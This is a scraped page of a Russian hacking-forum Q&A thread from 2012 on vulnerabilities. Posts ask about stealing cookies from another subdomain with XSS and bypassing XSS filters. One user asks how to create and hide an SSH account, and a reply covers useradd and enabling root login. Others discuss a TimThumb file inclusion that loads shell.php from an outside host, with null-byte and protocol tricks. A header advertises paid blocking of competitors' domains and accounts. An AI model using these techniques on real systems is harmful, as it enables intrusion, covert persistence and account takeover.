УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2081 из 2438

2081

Опции темы

Поиск в этой теме

Опции просмотра

#20801

10.06.2012, 02:51

DJ ][akep

Познающий

Регистрация: 27.01.2008

Сообщений: 57

Провел на форуме:
355954

Репутация: 32

Возможно ли с помощью XSS получить куки с другого под домена?

(need.site.com)

В данной ситуации :

Цитата:

Сообщение от None

.site.com PHPSID=*****************
xss.site.com PHPSID=2****************
need.site.com PHPSID=3****************; login=123; pass=123

#20802

12.06.2012, 07:20

4otkii

Guest

Сообщений: n/a

Провел на форуме:
350

Репутация: 0

Здравствуйте, возможно ли обойти фильтр XSS если никакие символы не фильтруются, кроме как если за "

#20803

12.06.2012, 19:58

Groove

Guest

Сообщений: n/a

Провел на форуме:
59158

Репутация: 2

Как создать учетную запись в ssh срочно !

#20804

12.06.2012, 20:01

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Отправить сообщение для Konqi с помощью ICQ

Цитата:

Сообщение от Groove

Groove said:
Как создать учетную запись в ssh срочно !

sudo useradd noob

sudo passwd noob

***** (тут пасс)

#20805

12.06.2012, 20:08

Groove

Guest

Сообщений: n/a

Провел на форуме:
59158

Репутация: 2

Цитата:

Сообщение от Konqi

Konqi said:
sudo useradd noob
sudo passwd noob
***** (тут пасс)

куда это прописывать ?

#20806

12.06.2012, 20:09

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Цитата:

Сообщение от Groove

Groove said:
куда это прописывать ?

что значит куда? у тя же терминал открытый через ssh, вводи эти команды под рутом

если ты имеешь ввиду создание пользователя у которого будет доступ к ssh, то по дефолту у всех пользователей кроме рута есть доступ к ssh, чтобы работать под рутом поправь файл

/etc/ssh/sshd_config

PermitRootLogin no -> PermitRootLogin yes

#20807

12.06.2012, 20:35

Groove

Guest

Сообщений: n/a

Провел на форуме:
59158

Репутация: 2

Цитата:

Сообщение от Konqi

Konqi said:
что значит куда? у тя же терминал открытый через ssh, вводи эти команды под рутом
если ты имеешь ввиду создание пользователя у которого будет доступ к ssh, то по дефолту у всех пользователей кроме рута есть доступ к ssh, чтобы работать под рутом поправь файл
/etc/ssh/sshd_config
PermitRootLogin
no
-> PermitRootLogin
yes

А как спрятать учетку ?

#20808

12.06.2012, 20:39

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Цитата:

Сообщение от Groove

Groove said:
А как спрятать учетку ?

спрятать от кого или от чего?

в /etc/passwd все равно палится учетка

Код:

Code:
cat /etc/passwd  | awk -F: '{print $1}'

#20809

13.06.2012, 01:38

promarketing

Guest

Сообщений: n/a

Провел на форуме:
3814

Репутация: 0

Word press TimThumb Уязвимость

/wp-content/themes/theme/scripts/timthumb.php?src=http://blogger.com.site.com/shell.php (или shell.php4 shell.php%00) даёт error 503 Service temporary unavailable

Всё остальное успешно инклудится и появляется в cache папке - shell.php%20 shell.gif но не работает как php файл

Есть решение? вроде возможно т.к пару чужих .php файлов в папке cache уже есть

#20810

13.06.2012, 02:20

Faaax

Guest

Сообщений: n/a

Провел на форуме:
124363

Репутация: 11

а ты пробовал blabla.php%00.jpg , или через temper data?

или так же заместо http://yousite.com/shell.php

так https://yousite.com/shell.php,ftp://yousite.com/shell.php?

Страница 2081 из 2438

2081

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход